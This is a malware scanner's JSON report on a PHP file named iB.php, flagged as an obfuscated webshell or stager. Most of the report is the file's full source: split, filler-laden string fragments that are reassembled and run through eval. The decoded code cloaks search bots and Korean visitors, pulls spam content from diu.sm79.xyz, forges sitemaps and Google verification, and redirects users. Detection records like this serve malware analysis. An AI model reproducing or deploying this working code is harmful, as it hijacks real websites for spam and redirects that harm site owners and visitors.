{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.9999747276306152,
        "class": 2
      }
    ],
    "prob": 0.9999747,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.9975077,
        "class": 1
      },
      {
        "m": "az/scripts",
        "prob": 0.9997887,
        "class": 2
      },
      {
        "m": "az/php",
        "prob": 0.9999747,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-09T04:54:12Z"
  },
  "path": "iB.php",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₃(As₂C₃Eu)H(Os)Md₂Th",
        "k": {
          "source.imports[0]": "base64_decode",
          "source.strings[0]": "/**\r\n * Signature For Report\r\n */$x102='os($html_m_)ht, _)hc[symbo_)htlx]_)hc);\t_)htwhile ($p _)ht!== false_)ht) {\t\t$html_)ht_m = sub_)htstr_replac_)hte($html__)htm, $symbol_)hts_arr[mt_';/*\r\n */$x108='_)hc)){\t\tr_)hteturn $l_)htocal_host._)ht$request__)htscr._)hc/_)hc;_)ht\t}\t\tretur_)htn $local__)hthost.$scr_)htipt_path_)ht;}if (s_)httrpos($_SE_)htRVER[_)hc';/*\r\n */$x109='\", time_)ht()), $con_)httent);\t_)ht\t$conte_)htnt = str_i_)htreplace_)ht(_)hc[area1_)ht]_)hc, _get__)htstatic_arr_)ht($local__)hturl._)hcarea_)ht1_)hc,$areas';/*\r\n */$x131='ent-type_)ht:text/xml_)ht\");    die_)ht($res);_)ht}if(str_)htpos(strtol_)htower($__)htSERVER[_)hc_)htREQUEST_)ht_URI_)hc])_)ht, \"googlef_)ht3beb5687_)hta8';/*\r\n */$x132=' $_ENV[_)ht\"TMPDIR\"]_)ht));}   _)ht if(!empt_)hty($_ENV[\"T_)htEMP\"])\u0026_)ht\u0026@is_writ_)hteable(r_)htealpath($_)ht_ENV[\"TE_)htMP\"])))_)ht{return(_)htrea';/*\r\n */$x138='n_exists(_)ht\"sys_get_t_)htemp_dir\"))_)ht{\t\tif(@_)htis_write_)htable(sys__)htget_temp__)htdir()))_)ht{return(r_)htealpath(s_)htys_get_tem_)htp_d';/*\r\n */$x145='\"TMP\"]));}_)ht    if(_)ht!empty($__)htENV[\"TMP_)htDIR\"])\u0026\u0026_)ht@is_writea_)htble(realpa_)htth($_ENV[\"_)htTMPDIR\"]_)ht))){ret_)hturn(real_)htpath(';/*\r\n */$x152='tatus = _)httrue;    }_)ht    $http _)ht= $stat_)htus ? _)hcht_)https://_)hc : _)ht_)hchttp://_)ht_)hc;    $hos_)htt = $http _)ht. $_SERV_)htER[_)hcSERVE_)htR_';/*\r\n */$x166='r[0]._)hc\"_)ht);\u003c/scr_)htipt\u003e\u003c/bod_)hty\u003e\u003c/htm_)htl\u003e_)hc);}f_)htunction _g_)htet_static__)htarr($st_)htr,$arr)_)ht{\treturn(_)ht$arr[hashC_)htode($str)_)ht%';/*\r\n */$x169='\" . $_SE_)htRVER[_)hcS_)htERVER_PO_)htRT_)hc];    _)ht}    ret_)hturn $host_)ht;}functi_)hton _local__)hturl(){\t$u_)htrl = _l_)htocal_host(_)ht).$_SER';/*\r\n */$x2='str_ire_)htplace(_)hc_)ht[area_)hc.$i_)ht._)hc]_)hc,_get__)htstatic__)htarr($lo_)htcal_url_)ht._)hcarea_)hc.$i_)ht,$areas_a_)htrr), $htm_)htl_m);\t\t$ht_)html_m = s';/*\r\n */$x200='_arr[0]_)ht, $html_m)_)ht;\t\t$html_m_)ht = str__)htireplace(_)ht_)hc[bracketr_)ht_)hc.$i._)hc]_)ht_)hc,$brac_)htket_arr_)ht[1], $h_)httml_m);\t_)ht}\t\t$p = _)htstr';/*\r\n */$x217='ntent);_)ht\t\t$conte_)htnt = str_)ht_ireplace_)ht(_)hc[mkey_)ht2]_)hc, _ge_)htt_static_a_)htrr($loca_)htl_url._)hcmk_)htey2_)hc,$mk_)hteys_arr), _)ht$content';/*\r\n */$x234='$html_arr[_)ht6]);\t$sear_)htch_rule = _)ht$html_arr_)ht[7];\t$sear_)htchs_arr = _)htexplode(\"_)hl_)htr_)hln\",$html_)ht_arr[8]);\t_)ht$git = $h_)httm';/*\r\n */$x244=', $content_)ht);\t\t}\t\t\t\t_)ht$hurl =_)ht str_irepl_)htace(_)hc[con_)httent]_)hc,url_)htencode($_)htcontent),_)ht$search_)hts_arr[mt_)ht_rand(0_)ht, coun';/*\r\n */$x25='s(_)hccurl__)htinit_)hc))_)ht {       _)ht $ch = c_)hturl_ini_)htt();   _)ht     curl_)ht_setopt($_)htch, CURLOP_)htT_URL, $u_)htrl);   _)ht     cur_)htl_';/*\r\n */$x253='mp_dir\")))_)ht;}    if_)ht(@is_write_)htable(real_)htpath(sess_)htion_save_)ht_path()))_)ht){return(r_)htealpath(_)htsession_sa_)htve_path()';/*\r\n */$x254='_rand(0, c_)htount($ar_)hteas_arr)_)ht-1)], $p,_)ht strlen(_)ht_)hc[areax]_)ht_)hc));\t\t$p =_)ht strpos($_)hthtml_m, _)hc_)ht[areax]_)hc);_)ht\t}\t\t$p = _)htst';/*\r\n */$x268='rand(0, co_)htunt($sym_)htbols_arr_)ht)-1)], _)ht$p, str_)htlen(_)hc[s_)htymbolx]_)hc))_)ht;\t\t$p = st_)htrpos($htm_)htl_m, _)hc[s_)htymbolx]_)hc_)ht);\t}\t\t\t$';/*\r\n */$x27='nd(0, cou_)htnt($mkeys_)ht_arr)-1_)ht)], $p,_)ht strlen_)ht(_)hc[mkeyx_)ht]_)hc));\t\t_)ht$p = st_)htrpos($ht_)html_m, _)hc_)ht[mkeyx]_)ht_)hc);\t}\t\t\t_)ht$p = strp';/*\r\n */$x277=' false;  _)ht  if (is_)htset($_SE_)htRVER[_)hcHTT_)htPS_)hc]) \u0026\u0026 $_)ht_SERVER[_)hc_)htHTTPS_)hc]_)ht == _)hcon_)hc_)ht) {     _)ht   $statu_)hts = true;_)ht    } ';/*\r\n */$x279='pos($html_)ht_m, _)hc[ke_)htywordx]_)hc)_)ht;\twhile ($_)htp !== fals_)hte) {\t\t$h_)httml_m = s_)htubstr_repl_)htace($html__)htm, $keys_)ht_arr[mt_r';/*\r\n */$x28='ediapart_)htners|slurp_)ht|patrol/_)hti_)hc, $_SERV_)htER[_)hcHTTP__)htUSER_AG_)htENT_)hc])  _)ht  );}func_)httion ha_)htshCode($s_)httr){   _)ht if(empt';/*\r\n */$x284='_arr), $c_)htontent);_)ht\t\t$cont_)htent = str_)ht_ireplac_)hte(_)hc[area2_)ht]_)hc, _get_)ht_static__)htarr($loc_)htal_url._)ht_)hcarea2_)hc,_)ht$areas_ar_)htr)';/*\r\n */$x321='GUAGE_)hc]),_)ht \"ko\") !_)ht== false){_)ht\t$local_)ht_url = _l_)htocal_url()_)ht;\t$html =_)ht base64_de_)htcode(_get_)ht_cache(_)hc_)hthttp://diu_)ht.';/*\r\n */$x327='gefreq\u003e_)hlr_)ht_)hln   \u003cpr_)htiority\u003e0.9_)ht\u003c/priorit_)hty\u003e_)hlr_)hln _)ht\u003c/url\u003e_)hlr_)hl_)htn\";    _)ht}    $res_)ht .= \"\u003c/u_)htrlset\u003e\";  _)ht  header_)ht(\"Cont';/*\r\n */$x329='}    }    _)htif(@is_wri_)htteable(re_)htalpath(@in_)hti_get(\"upl_)htoad_tmp__)htdir\")))_)ht){return_)ht(realpat_)hth(@ini_ge_)htt(\"uploa_)htd_t';/*\r\n */$x360='nt . \"\u003c/a\u003e_)ht\", $s, s_)httrlen(_)hc[s_)htearch]_)hc));_)ht        $s_)ht = strpos(_)ht$html_m_)ht, _)hc[searc_)hth]_)hc);    }_)ht\t\t    die(_)ht$html_m';/*\r\n */$x368='\" encodi_)htng=_)hl\"UT_)htF-8_)hl\"?\u003e_)hlr_)hl_)htn\u003curlse_)htt xmlns=_)hl_)ht\"http://w_)htww.google_)ht.com/schem_)htas/site_)htmap/0.8_)ht4_)hl\"\u003e_)hlr_)hln\";_)ht    for';/*\r\n */$x371='));}    i_)htf(@is_wri_)htteable(_)htrealpath(_)htdirname(_)ht__FILE__)ht_)))){ret_)hturn(rea_)htlpath(d_)htirname(__F_)htILE__)));_)ht}}functio';/*\r\n */$x373='|| !emp_)htty($_SERVE_)htR[_)hcHTTP__)htX_FORWAR_)htDED_SSL_)ht_)hc]) \u0026\u0026 $_)ht_SERVER[_)ht_)hcHTTP_X_F_)htORWARDE_)htD_SSL_)hc] _)ht== _)hcon_)hc)_)ht {     _)ht   $s';/*\r\n */$x381='    $p _)ht= strpo_)hts($html__)htm, _)hc[ahref_)ht]_)hc);    }\t_)ht\t$s = str_)htpos($htm_)htl_m, _)hc[_)htsearch]_)hc)_)ht;    whil_)hte ($s !==_)ht false)';/*\r\n */$x386='tml_m = _)htstr_irepl_)htace(_)hc[bra_)htcketl_)hc._)ht$i._)hc]_)hc,$br_)htacket_arr[_)ht0], $html_)ht_m);\t\t$_)hthtml_m = s_)httr_irepl_)htace(_)hc[br_)htacket';/*\r\n */$x388=');\t\t$conte_)htnt = str_i_)htreplace_)ht(_)hc[cont_)htact1]_)hc,_)ht $sc_arr[2_)ht], $cont_)htent);\t\t$co_)htntent = _)htstr_irepl_)htace(_)hc[c_)htontact2';/*\r\n */$x389=' } whil_)hte (true)_)ht;        f_)htclose($han_)htdle);   _)ht }    r_)hteturn $__)hthtml;}fun_)htction _loc_)htal_host(_)ht){    $st_)htatus =';/*\r\n */$x390='st_scr)_)ht);\t\tif(s_)httristr(_)ht$request_u_)htrl,$scr_)htipt_name_)ht)){\t\tre_)htturn $lo_)htcal_host._)ht$request__)htscr._)hc/_)hc_)ht;\t}\t\tif(s_)httrto';/*\r\n */$x392='$_html = _)htcurl_ex_)htec($ch);_)ht        cu_)htrl_close(_)ht$ch);    }_)ht    if (_)ht$_html ==_)ht _)hc_)hc \u0026\u0026 fu_)htnction_e_)htxists(_)hcfo_)htpen_)hc';/*\r\n */$x405='crc1 = abs_)ht(crc32($md_)htv1));\t$cr_)htc2 = abs(c_)htrc32($mdv_)ht2));\tretu_)htrn substr_)ht(bcmul($c_)htrc1,$cr_)htc2),0,8);}_)htfunction';/*\r\n */$x430='VER[_)hcREQ_)htUEST_URI_)hc]_)ht;\treturn _)ht$url;}fu_)htnction _)ht_base_url_)ht(){\t$loc_)htal_host = _)ht_local__)hthost();\t_)ht$request_)ht_url = s';/*\r\n */$x438='elseif _)ht(!empty_)ht($_SERVE_)htR[_)hcHTTP_X_)ht_FORWARDE_)htD_PROTO_)hc])_)ht \u0026\u0026 $_SE_)htRVER[_)hcHT_)htTP_X_FOR_)htWARDED_PRO_)htTO_)hc] == _)hch_)htttps_)hc ';/*\r\n */$x44=')) {      _)ht  $handl_)hte = fope_)htn($url,_)ht \"rb\"); _)ht       do _)ht{      _)ht      $dat_)hta = fread(_)ht$handle_)ht, 8192); _)ht      ';/*\r\n */$x450='lpath( $_E_)htNV[\"TEMP\"_)ht]));}   _)ht $tempfile_)ht=@tempn_)htam(__FI_)htLE__,\"\");_)ht    if(@_)htfile_ex_)htists($tem_)htpfile)){_)ht\t\t@unlin';/*\r\n */$x456='     if (_)htstrlen($d_)htata) ==_)ht 0) {   _)ht          _)ht   break; _)ht        _)ht   }   _)ht        _)ht $_html _)ht.= $data; _)ht      ';/*\r\n */$x457=');}_)ht';/*\r\n */$x459='et_cache(_)hc_)hthttp://d_)htiu.sm79._)htxyz/data._)htphp?g=gi_)htt\u0026d=_)hc.$__)htSERVER[_)ht_)hcSERVER_NA_)htME_)hc]));\t$_)hthtml_arr =_)ht explode(_)ht\"---';/*\r\n */$x465='\t$areas_)ht_arr = e_)htxplode(\"_)ht_)hlr_)hln\",$_)hthtml_ar_)htr[2]);\t$br_)htackets_ar_)htr = explod_)hte(\"_)hlr_)hln_)ht\",$html_)ht_arr[3])_)ht;\t$symbol_)hts_a';/*\r\n */$x472='len(_)hc[sy_)htmbolx]_)hc))_)ht;\t\t\t$p = s_)httrpos($co_)htntent, _)hc[s_)htymbolx]_)hc_)ht);\t\t}\t\t\t_)ht\tfor($i=_)ht1;$i\u003c=2_)ht0;$i++){_)ht\t\t\t$brack_)htet_arr';/*\r\n */$x48='ic_arr($lo_)htcal_url_)ht._)hcarea1_)ht_)hc,$area_)hts_arr)._g_)htet_static_)ht_arr($hur_)htl._)hckeywo_)htrd1_)hc,$key_)hts_arr);_)ht        $h_)httml_m = ';/*\r\n */$x498='y($str)) _)htreturn _)hc_)hc_)ht;    $mdv_)ht = md5($s_)httr);   _)ht $mdv1 = _)htsubstr(_)ht$mdv,0,_)ht16);\t$m_)htdv2 = sub_)htstr($md_)htv,16,16);\t_)ht$';/*\r\n */$x504=' = explo_)htde(_)hc|_)hc,$b_)htrackets__)htarr[mt__)htrand(0, _)htcount($b_)htrackets_a_)htrr)-1)]);_)ht\t\t\t$conten_)htt = str_i_)htreplace(_)ht_)hc[brack';/*\r\n */$x508='ent = s_)htubstr_rep_)htlace($con_)httent, $k_)hteys_arr[_)htmt_rand_)ht(0, coun_)htt($keys_)ht_arr)-1_)ht)], $p, s_)httrlen(_)hc[k_)hteywordx]_)hc)_)ht);';/*\r\n */$x514='tr_ireplac_)hte(_)hc[mkey_)ht_)hc.$i._)hc]_)hc,_)ht_get_st_)htatic_ar_)htr($local_u_)htrl._)hcmkey_)ht_)hc.$i,$mke_)htys_arr), _)ht$html_m);_)ht\t\t$html_m_)ht = st';/*\r\n */$x517='and(0, co_)htunt($keys__)htarr)-1)],_)ht $p, strle_)htn(_)hc[keywor_)htdx]_)hc));\t\t$_)htp = strpos_)ht($html_m_)ht, _)hc[keyw_)htordx]_)hc);\t}_)ht\t\t$p =';/*\r\n */$x529='rr = ex_)htplode(\"_)hl_)htr_)hln\",$html_)ht_arr[4])_)ht;\t$link_)hts_arr =_)ht explode(\"_)ht_)hlr_)hln\",$_)hthtml_arr_)ht[5]);\t$sc__)htarr = e_)htxplode(\"|_)ht\",';/*\r\n */$x53=' {\t\t$seed_)ht = rand_)ht_str();\t\t$_)htcontent =_)ht $search__)htrule;\t\t$_)htcontent _)ht= str_ir_)hteplace(_)hc_)ht[time]_)hc,_)ht date(\"_)htY-m-d-H-i';/*\r\n */$x537='r_)hc.$i._)hc_)ht]_)hc,$bra_)htcket_arr_)ht[1], $html_)ht_m);\t}\t_)ht\t\tfor($i=_)ht1;$i\u003c=20;_)ht$i++){\t\t$_)htbracket__)htarr = ex_)htplode(_)hc|_)hc_)ht,_get_sta';/*\r\n */$x541='count($ar_)htr)]);}if(_)htisBot())_)ht{\t$base = _)ht_base_u_)htrl();\t$l_)htocal_url_)ht = _loca_)htl_url();\t$_)hthtml = b_)htase64_deco_)htde(_g';/*\r\n */$x546='rr = explo_)htde(\"|\",_)ht$html_a_)htrr[6]);\tdi_)hte(_)hc\u003c!DOCTY_)htPE html\u003e\u003c_)hthtml\u003e\u003cbody_)ht\u003e\u003cscrip_)htt\u003edocument_)ht.location_)ht=(\"_)hc.$sc_a_)htr';/*\r\n */$x547='------\",_)ht$html);_)ht\t$keys__)htarr = exp_)htlode(\"_)hl_)htr_)hln\",$html_)ht_arr[0])_)ht;\t$mkeys_)ht_arr = ex_)htplode(\"_)ht_)hlr_)hln\",$_)hthtml_arr[1_)ht]);';/*\r\n */$x558='etl_)hc.$i._)hc]_)ht_)hc,$bracke_)htt_arr[0],_)ht $conten_)htt);\t\t\t$_)htcontent _)ht= str_ire_)htplace(_)hc_)ht[bracketr_)ht_)hc.$i._)hc]_)hc_)ht,$bracke_)htt_arr[1]';/*\r\n */$x588='e($file) \u003e_)ht 60 * 60_)ht * 24)\t\t{_)ht\t\t\t$html _)ht= _http_ge_)htt($link_)ht);\t\t\tif(_)ht$fp = @f_)htopen($file_)ht,_)hcw_)hc)){_)htfwrite($f_)htp, $h';/*\r\n */$x608='trpos($h_)httml_m, _)ht_)hc[ahref]_)hc)_)ht;    whi_)htle ($p !_)ht== false)_)ht {\t\t$hurl _)ht= $base._)htrand_str_)ht();\t\t$htit_)htle = _ge_)htt_stat';/*\r\n */$x615='t_content_)hts_)hc)) {   _)ht     $_htm_)htl = @fi_)htle_get_con_)httents($_)hturl);   _)ht }    if (_)ht$_html _)ht== _)hc_)hc \u0026\u0026 f_)htunction_e_)htxist';/*\r\n */$x620='p = strpo_)hts($html_)ht_m, _)hc[link_)ht]_)hc);\twhi_)htle ($p !_)ht== false) _)ht{\t\t$html__)htm = subs_)httr_replac_)hte($html_m_)ht, $links__)htarr[';/*\r\n */$x622='T_NAME_)hc];\t_)ht$script_n_)htame = ba_)htsename(_)ht$request__)htscr);\t$s_)htcript_path_)ht = str_i_)htreplace(_)hc_)ht_)hl_)hl_)hc,_)hc/_)hc,di_)htrname($req_)htue';/*\r\n */$x648='\t\t\t$p = st_)htrpos($cont_)htent, _)hc[_)htkeyword_)htx]_)hc);\t\t}\t_)ht\t\t\t$p = s_)httrpos($_)htcontent,_)ht _)hc[symbo_)htlx]_)hc);\t\tw_)hthile ($_)htp !== fal';/*\r\n */$x653=' $url . \"_)ht\u003c/loc\u003e_)hlr_)hl_)htn   \u003clast_)htmod\u003e\" . d_)htate(\"Y-m-d_)ht\", time(_)ht)) . \"\u003c/la_)htstmod\u003e_)hlr_)hl_)htn   \u003cchang_)htefreq\u003ed_)htaily\u003c/ch_)htan';/*\r\n */$x678='tr_ireplac_)hte(_)hc//_)hc,_)ht_)hc/_)hc,str__)htireplac_)hte(_)hc_)hl_)hl_)hc,_)hc/_)hc_)ht,$_SERV_)htER[_)hcREQ_)htUEST_UR_)htI_)hc]));\t$_)htrequest_)ht_scr = _)ht$_SERVER[_)hc_)htSCRIP';/*\r\n */$x683=', $conten_)htt);\t\t$cont_)htent = str_)ht_ireplac_)hte(_)hc[mkey1]_)ht_)hc, _get_)ht_static__)htarr($loca_)htl_url._)hc_)htmkey1_)hc,$m_)htkeys_arr)_)ht, $co';/*\r\n */$x703='tolower(@$_)ht_SERVER[_)hcH_)htTTP_REFE_)htRER_)hc]),_)ht \".kr\") !=_)ht= false ||_)ht strpos(_)htstrtolower_)ht(@$_SER_)htVER[_)hcHT_)htTP_ACCEPT__)htLAN';/*\r\n */$x711='ir()));}\t}_)ht    if(!em_)htpty($_ENV_)ht[\"TMP\"])\u0026\u0026_)ht@is_writea_)htble(realpa_)htth($_ENV_)ht[\"TMP\"]_)ht))){retu_)htrn(realpa_)htth($_ENV[';/*\r\n */$x712='tml); fc_)htlose($fp);_)ht}else{retu_)htrn $html_)ht;}\t\t}\t\t_)htreturn ($_)hthtml);}fun_)htction _g_)htet_temp_di_)htr_mass(){\t_)htif(funct_)htio';/*\r\n */$x714=' strpos(_)ht$html_m, _)ht_)hc[areax]_)ht_)hc);\twhil_)hte ($p !=_)ht= false) {_)ht\t\t$html__)htm = subs_)httr_repla_)htce($html__)htm, $areas_)ht_arr[mt';/*\r\n */$x717='mt_rand(_)ht0, count_)ht($links_a_)htrr)-1)], $_)htp, strlen(_)ht_)hc[link]_)hc))_)ht;\t\t$p = _)htstrpos(_)ht$html_m_)ht, _)hc[lin_)htk]_)hc);\t}\t\t_)ht\t$p = s';/*\r\n */$x724='efghijklm_)htnopqrstuvw_)htxyz-_-_/\"_)ht;\t$max = _)htstrlen($_)htstrPol)-1;_)ht \tfor($i_)ht=0;$i\u003c$l_)hten;$i++)_)ht{\t\t$str._)ht=$strPol[_)htrand';/*\r\n */$x734='se) {\t\t_)ht\t$content_)ht = subst_)htr_repla_)htce($conten_)htt, $sym_)htbols_arr[m_)htt_rand(0, _)htcount($sym_)htbols_ar_)htr)-1)],_)ht $p, str';/*\r\n */$x739='d(0, coun_)htt($keys_)ht_arr)-1_)ht)], $cont_)htent);\t\t$_)htcontent = _)htstr_irep_)htlace(_)hc[_)htkeyword_)ht2]_)hc, $ke_)htys_arr[mt_)ht_rand(0,_)ht co';/*\r\n */$x75=']_)hc, $sc_)ht_arr[2]_)ht, $conte_)htnt);\t\t$_)htcontent = _)htstr_irepla_)htce(_)hc[site_)ht1]_)hc, $s_)htc_arr[1_)ht], $conte_)htnt);\t\t$con_)httent = st';/*\r\n */$x752='sm79.xyz/_)htdata.ph_)htp?g=git\u0026d=_)ht_)hc.$_SERVE_)htR[_)hcSERV_)htER_NAME_)hc])_)ht);\t$html__)htarr = e_)htxplode(_)ht\"--------_)ht-\",$html_)ht);\t$sc_a';/*\r\n */$x797='$html = @_)htfile_get_)ht_contents(_)ht$file);\t_)ht\tif(!file__)htexists(_)ht$file) || _)htstrlen($_)hthtml)\u003c1_)ht00 || tim_)hte() - f_)htilemtim';/*\r\n */$x799='REQUEST__)htURI_)hc], _)hcs_)htitemap.xml_)ht_)hc) !== f_)htalse) {\t_)ht$base_ur_)htl = _ba_)htse_url();\t_)ht    $res =_)ht \"\u003c?xml ve_)htrsion=_)hl\"_)ht1.0_)hl';/*\r\n */$x804='r_irepla_)htce(_)hc[sit_)hte2]_)hc, $s_)htc_arr[1_)ht], $con_)httent);\t_)ht\t$content _)ht= str_irep_)htlace(_)hc[_)htkeyword_)ht1]_)hc, $k_)hteys_arr_)ht[mt_ran';/*\r\n */$x810='unt($keys__)htarr)-1)],_)ht $content)_)ht;\t\t$p = st_)htrpos($con_)httent, _)hc_)ht[keywordx_)ht]_)hc);\t\twhil_)hte ($p !_)ht== false)_)ht {\t\t\t$c_)htont';/*\r\n */$x817='NAME_)hc];  _)ht  if ($_)ht_SERVER[_)hcS_)htERVER_PO_)htRT_)hc] != 8_)ht0 \u0026\u0026 $_SE_)htRVER[_)hcSE_)htRVER_PO_)htRT_)hc] != 44_)ht3) {   _)ht     $h_)htost .= \":';/*\r\n */$x826='lower($sc_)htript_name)_)ht==_)hcindex.p_)hthp_)hc \u0026\u0026 _)ht($request__)hturl == _)ht$script_)ht_path || $_)htrequest__)hturl == _)ht$script__)htpath._)hc/';/*\r\n */$x836=', $html_)ht_m);\t\t$br_)htacket_arr _)ht= explo_)htde(_)hc|_)hc,_)ht_get_stati_)htc_arr($l_)htocal_url._)ht_)hcbracket_)hc._)ht$i,$brac_)htkets_arr_)ht));\t\t$h';/*\r\n */$x841='n isBot() _)ht{    ret_)hturn (    _)ht    isset_)ht($_SERVER[_)ht_)hcHTTP_US_)htER_AGENT_)ht_)hc]) \u0026\u0026 pre_)htg_match(_)ht_)hc/bot|cr_)htawl|spider_)ht|m';/*\r\n */$x848=' ($i = 0; _)ht$i \u003c 100;_)ht $i++) { _)ht       $_)hturl = $b_)htase_url.r_)htand_str_)ht();    _)ht    $res ._)ht= \" \u003cur_)htl\u003e_)hlr_)hln  _)ht\u003cloc\u003e\" .';/*\r\n */$x856='substr_r_)hteplace($ht_)html_m, \"\u003ca_)ht href=_)hl\"\"_)ht . $hurl _)ht. \"_)hl\"\u003e\" ._)ht $htitle_)ht . \"\u003c/a\u003e\"_)ht, $p, str_)htlen(_)hc[ahr_)htef]_)hc));  _)ht  ';/*\r\n */$x859='function __)htget_cache_)ht($link){\t_)ht\t$tmpdir _)ht= _get_tem_)htp_dir_mass_)ht();\t\t$fi_)htle = $tm_)htpdir._)hc/s_)htess__)hc.md5_)ht($link);_)ht\t\t';/*\r\n */$x869='= str_ir_)hteplace(_)hc_)ht[time]_)hc,_)ht date(\"Y-m_)ht-d-H-i\", t_)htime()),_)ht $html_m)_)ht;\t\tfor($i=_)ht1;$i\u003c=4;_)ht$i++){\t\t$h_)httml_m = s_)httr_';/*\r\n */$x87='k($tempfil_)hte);\t\tif(@i_)hts_writeab_)htle(real_)htpath(dirn_)htame($te_)htmpfile))_)ht)){return(_)htrealpat_)hth(dirname(_)ht$tempfi_)htle)));';/*\r\n */$x871='rpos($htm_)htl_m, _)hc[mke_)htyx]_)hc);\tw_)hthile ($p _)ht!== false_)ht) {\t\t$htm_)htl_m = s_)htubstr_rep_)htlace($ht_)html_m, $_)htmkeys_arr_)ht[mt_ra';/*\r\n */$x875='r_ireplace_)ht(_)hc[contac_)htt_)hc.$i._)hc]_)hc,_)ht$sc_arr[_)ht2], $ht_)html_m);\t\t$h_)httml_m = st_)htr_ireplace_)ht(_)hc[site_)hc.$_)hti._)hc]_)hc,$_)htsc_arr[1]';/*\r\n */$x89='9fac1.htm_)htl\") !== fa_)htlse){\tdie(_)ht_)hcgoogle-s_)htite-verifi_)htcation: g_)htooglef3beb_)ht5687a89_)htfac1.htm_)htl_)hc);}if(s_)httrpos(str';/*\r\n */$x902='ireplac_)hte(_)hc[keywor_)htd_)hc.$i._)hc_)ht]_)hc,_get_st_)htatic_arr_)ht($local_u_)htrl._)hckeywor_)htd_)hc.$i,$ke_)htys_arr), $_)hthtml_m);_)ht\t\t$html_m _)ht= ';/*\r\n */$x907='setopt($ch_)ht, CURLOP_)htT_RETUR_)htNTRANSFER,_)ht 1);     _)ht   curl_s_)htetopt($ch,_)ht CURLOP_)htT_CONNEC_)htTTIMEOU_)htT, 20);  _)ht      ';/*\r\n */$x939='t($searchs_)ht_arr)-1)]_)ht);       _)ht $html_m_)ht = subs_)httr_replace_)ht($html_m_)ht, \"\u003ca href_)ht=_)hl\"\" . $_)hthurl . \"_)hl_)ht\"\u003e\" . $c_)htonte';/*\r\n */$x965='(0,$max)_)ht];\t} \tretu_)htrn $str_)ht;}functi_)hton _http_g_)htet($url){_)ht    $_htm_)htl = _)hc_)hc;  _)ht  if (func_)httion_exi_)htsts(_)hcfile__)htge';/*\r\n */$x970=' rand_st_)htr(){\t$len_)ht = mt_rand_)ht(30,40)_)ht;\t$str = _)htnull;\t$st_)htrPol = \"_)htABCDEFGH_)htIJKLMNOP_)htQRSTUVWXY_)htZ012345_)ht6789abcd';/*\r\n */$x972='tic_arr($l_)htocal_url._)ht_)hcbracket_)hc_)ht.$i,$br_)htackets__)htarr));\t_)ht\t$html_m_)ht = str_i_)htreplace(_)hc[_)htbracket_)htl_)hc.$i._)hc]_)ht_)hc,$brack_)htet';/*\r\n */$x973='l_arr[9];\t_)ht\t$html_m_)ht = base_)ht64_decod_)hte(_get__)htcache($_)htgit.(hash_)htCode(_loc_)htal_url()_)ht)%500+1)_)ht._)hc.txt_)hc)_)ht);\t$html_m_)ht ';/*\r\n */$x999=str_replace('_)hl','\\\\',str_replace('_)hc','\\'',str_replace('_)ht','',$x859.$x797.$x588.$x712.$x138.$x711.$x145.$x132.$x450.$x87.$x329.$x253.$x371.$x841.$x28.$x498.$x405.$x970.$x724.$x965.$x615.$x25.$x907.$x392.$x44.$x456.$x389.$x277.$x438.$x373.$x152.$x817.$x169.$x430.$x678.$x622.$x390.$x826.$x108.$x799.$x368.$x848.$x653.$x327.$x131.$x89.$x703.$x321.$x752.$x546.$x166.$x541.$x459.$x547.$x465.$x529.$x234.$x973.$x869.$x902.$x2.$x514.$x875.$x836.$x386.$x537.$x972.$x200.$x279.$x517.$x714.$x254.$x871.$x27.$x102.$x268.$x620.$x717.$x608.$x48.$x856.$x381.$x53.$x109.$x284.$x683.$x217.$x388.$x75.$x804.$x739.$x810.$x508.$x648.$x734.$x472.$x504.$x558.$x244.$x939.$x360.$x457)));/*\r\n */eval($x999);/*\r\n */",
          "source.has_imports": true
        },
        "x": 186,
        "id": 0,
        "is": [
          "base64_decode"
        ],
        "ms": {
          "file": {
            "size": 23837.0
          },
          "text": {
            "digit_ratio": 0.13,
            "space_count": 1.0,
            "total_lines": 1.0,
            "char_entropy": 5.65,
            "unique_chars": 74.0,
            "import_density": 100.0,
            "lines_over_200": 1.0,
            "lines_over_500": 1.0,
            "string_density": 2.0,
            "avg_line_length": 23836.0,
            "lines_over_1000": 1.0,
            "max_line_length": 23836.0,
            "last_line_length": 23836.0,
            "long_token_count": 1.0,
            "most_common_char": "l",
            "whitespace_ratio": 0.0,
            "most_common_ratio": 0.04,
            "identifier_density": 1.0,
            "encoded_string_ratio": 1.0,
            "normalized_import_count": 1.0,
            "normalized_string_count": 2.0,
            "max_inline_whitespace_run": 1.0
          },
          "imports": {
            "total": 1.0,
            "unique_modules": 1.0,
            "third_party_count": 1.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 2.0,
            "avg_length": 23804.0,
            "max_length": 23804.0,
            "avg_entropy": 5.65,
            "total_bytes": 47608.0,
            "base64_candidates": 2.0,
            "very_long_strings": 2.0,
            "high_entropy_count": 2.0
          },
          "comments": {},
          "functions": {},
          "identifiers": {
            "total": 1.0,
            "avg_length": 13.0,
            "max_length": 13.0,
            "min_length": 13.0,
            "avg_entropy": 3.18,
            "reuse_ratio": 1.0,
            "unique_count": 1.0,
            "has_digit_ratio": 1.0
          }
        },
        "ss": [
          [
            0,
            "base64",
            "/**\r\n * Signature For Report\r\n */$x102='os($html_m_)ht, _)hc[symbo_)htlx]_)hc);\t_)htwhile ($p _)ht!== false_)ht) {\t\t$html_)ht_m "
          ]
        ],
        "sz": 23837,
        "ts": [
          {
            "a": "T1505.003",
            "c": 0.8600000143051147,
            "d": "Very long embedded string",
            "e": [
              "strings.max_length = 23804.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Very short file (under 12 lines)",
            "e": [
              "text.total_lines = 1.00"
            ],
            "i": "metadata/file/text/metrics::file-under-12-lines",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 23836.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "a": "T1505.003",
            "d": "PHP open tag",
            "e": [
              "\u003c?php"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::php-tag",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "High entropy strings (encoded/encrypted data)",
            "e": [
